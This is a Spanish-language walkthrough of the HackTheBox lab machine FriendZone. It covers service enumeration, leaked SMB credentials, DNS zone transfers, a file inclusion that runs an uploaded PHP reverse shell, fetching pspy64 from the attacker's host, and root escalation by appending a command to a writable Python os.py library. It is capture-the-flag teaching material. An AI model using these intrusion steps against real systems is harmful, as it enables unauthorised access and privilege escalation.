Cómo resolver 'FriendZone'

Philippe Delteil
6 min readJul 14, 2019

--

Paso a paso de como resolver la máquina FriendZone

USER

Enumeración

Como siempre, lo primero sera un escaneo de puertos con nmap:

nmap -v -sC -sV friendzone.htb

Salida:

Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Issuer: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-05T21:02:30
| Not valid after: 2018-11-04T21:02:30
| MD5: c144 1868 5e8b 468d fc7d 888b 1123 781c
|_SHA-1: 88d2 e8ee 1c2c dbd3 ea55 2e5e cdd4 e94c 4c8b 9233
|_ssl-date: TLS randomness does not represent time
| tls-alpn:445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: FRIENDZONE; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h02m08s, deviation: 1h43m54s, median: -2m09s
| nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| FRIENDZONE<00> Flags: <unique><active>
| FRIENDZONE<03> Flags: <unique><active>
| FRIENDZONE<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2019–07–13T07:38:55+03:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019–07–13 00:38:56
|_ start_date: N/A

Revisamos smb con smbmap:

> smbmap -H friendzone.htb -P 139 -R 2>&1[+] Finding open SMB ports....
[+] Guest SMB session established on friendzone.htb...
[+] IP: friendzone.htb:445 Name: unkown
Disk Permissions
---- -----------
print$ NO ACCESS
Files NO ACCESS
general READ ONLY
.\
dr--r--r-- 0 Wed Jan 16 17:10:51 2019 .
dr--r--r-- 0 Wed Jan 23 18:51:02 2019 ..
-r--r--r-- 57 Tue Oct 9 20:52:42 2018 creds.txt
Development READ, WRITE
.\
IPC$ NO ACCESS

El archivo cred.txt contiene la siguiente información:

> cat creds.txtcreds for the admin THING:admin:WORKWORKHhallelujah@#

Veamos que hay en el puerto 80:

El correo electrónico nos dice que probablemente tengamos acceso a otro dominio. El servidor tiene el servicio DNS corriendo y el puerto abierto. Podemos intentar extraer información con una vulnerabilidad llamada zone transfer. Ejecutamos host -l (-l lists all hosts in a domain, using AXFR)

> host -l friendzoneportal.red 10.10.10.123Using domain server:
Name: 10.10.10.123
Address: 10.10.10.123#53
Aliases:
friendzoneportal.red has IPv6 address ::1
friendzoneportal.red name server localhost.
friendzoneportal.red has address 127.0.0.1
admin.friendzoneportal.red has address 127.0.0.1
files.friendzoneportal.red has address 127.0.0.1
imports.friendzoneportal.red has address 127.0.0.1
vpn.friendzoneportal.red has address 127.0.0.1

Todos los subdominios apuntan a 127.0.0.1 (localhost), para accederlos debemos setearlos apuntando a 10.10.10.123. Debemos modificar el archivo /etc/hosts/:

Ahora podemos intentar acceder a los subdominios mediante el puerto 80. Pero como no encontramos nada, probamos con 443 (https://)

Aparece la siguiente página:

Probaremos las credenciales encontradas en samba.

Claramente no era el sitio correcto.

Revisamos el certificado del servidor y encontramos otro dominio.

Veamos si existen otros subdominios, repetimos el comando usando AXFR:

> host -l friendzone.red 10.10.10.123
Using domain server:
Name: 10.10.10.123
Address: 10.10.10.123#53
Aliases:
friendzone.red has IPv6 address ::1
friendzone.red name server localhost.
friendzone.red has address 127.0.0.1
administrator1.friendzone.red has address 127.0.0.1
hr.friendzone.red has address 127.0.0.1
uploads.friendzone.red has address 127.0.0.1

Agregamos los nuevos subdominios al archivo /etc/hosts

10.10.10.123 administrator1.friendzone.red
10.10.10.123 vpn.friendzone.red
10.10.10.123 uploads.friendzone.red
10.10.10.123 imports.friendzone.red
10.10.10.123 hr.friendzone.red

Obtenemos lo siguiente:

Otra página que se obtiene jugando con los parámetros:

Probemos con la el subdominio administrator1:

Encontramos un formulario de login, probemos con las credenciales que conseguimos al comienzo y vemos lo siguiente:

Hacemos caso y vamos al dashboard.

Y luego:

Luego de jugar bastante con los parámetros de la URL nos damos cuenta que puede ser posible cargar un archivo en el parámetro pagename.

De los pasos iniciales, sabemos que uno de los shares de samba tiene permisos de escritura. Nos falta saber donde está ubicado (como ruta absoluta) este share (Development).

Una pista nos la da enum4linux:

=========================================== 
| Share Enumeration on friendzone.htb |
===========================================
Sharename Type Comment
— — — — — — — — — — -
print$ Disk Printer Drivers
Files Disk FriendZone Samba Server Files /etc/Files
general Disk FriendZone Samba Server Files
Development Disk FriendZone Samba Server Files
IPC$ IPC IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

Nos dice que el share Files está ubicado en /etc/Files, por lo que podemos asumir que el share Development está en /etc/Development.

Veamos si podemos subir un shell reverso en php al share Development y ejecutarlo mediante dashboard.php. Subir el shell es simple, dado que tenemos permisos de escritura en Development.

Debemos preparar la URL:

http://administrator1.friendzone.red/dashboard.php?image_id=4.jpg&pagename=/etc/Development/reverseShell

Luego, obtenemos un shell reverso en la máquina. Entramos con el usuario www-data, pero de todas formas podemos leer el archivo user.txt en /home/friend

¡Ya tenemos nuestro usuario!

ROOT

Comenzamos revisando las carpetas donde está nuestro usuario www-data y encontramos lo siguiente:

Lo lógico es probar las credenciales con el usuario friend en ssh.

Una vez dentro, lo primero que hago es LinEnum.sh y linuxprivchecker.py, pero me saltaré esos pasos porque no llegan a nada tan directo como con pspy64.

Levantamos un SIMPLE WebServer en nuestra máquina:

python -m SimpleHTTPServer 8000

Descargamos y ejecutamos el binario pspy64:

wget http://10.10.15.99:8000/pspy64chmod +x pspy64./pspy64 

Encontramos esta información interesante:

Un proceso ejecutado por root de nombre reporter.py.

Veamos permisos y contenido:

Luego de pensar varias decenas de minutos y probar otros métodos, vemos que una posible vulnerabilidad puede estar en la librería os.

Busquemos y veamos permisos del archivo os.py:

Tenemos permisos de lectura y escritura de una librería de python donde el dueño es el root…. Sospechoso…

Ya sabemos que existe un cron job que se ejecuta cada cierto tiempo (lo más probable que sea cada 1 minuto), por lo que debemos modificar el archivo os.py para ejecutar otro shell reverso pero esta vez con el usuario root. También podemos solo copiar el archivo root.txt desde su ubicación original hasta /tmp.

Agregamos la siguiente línea al final del archivo os.py:

system("cp /root/root.txt /tmp/.root.txt")

Luego, podemos leer el archivo.

Listo.

--

--

No responses yet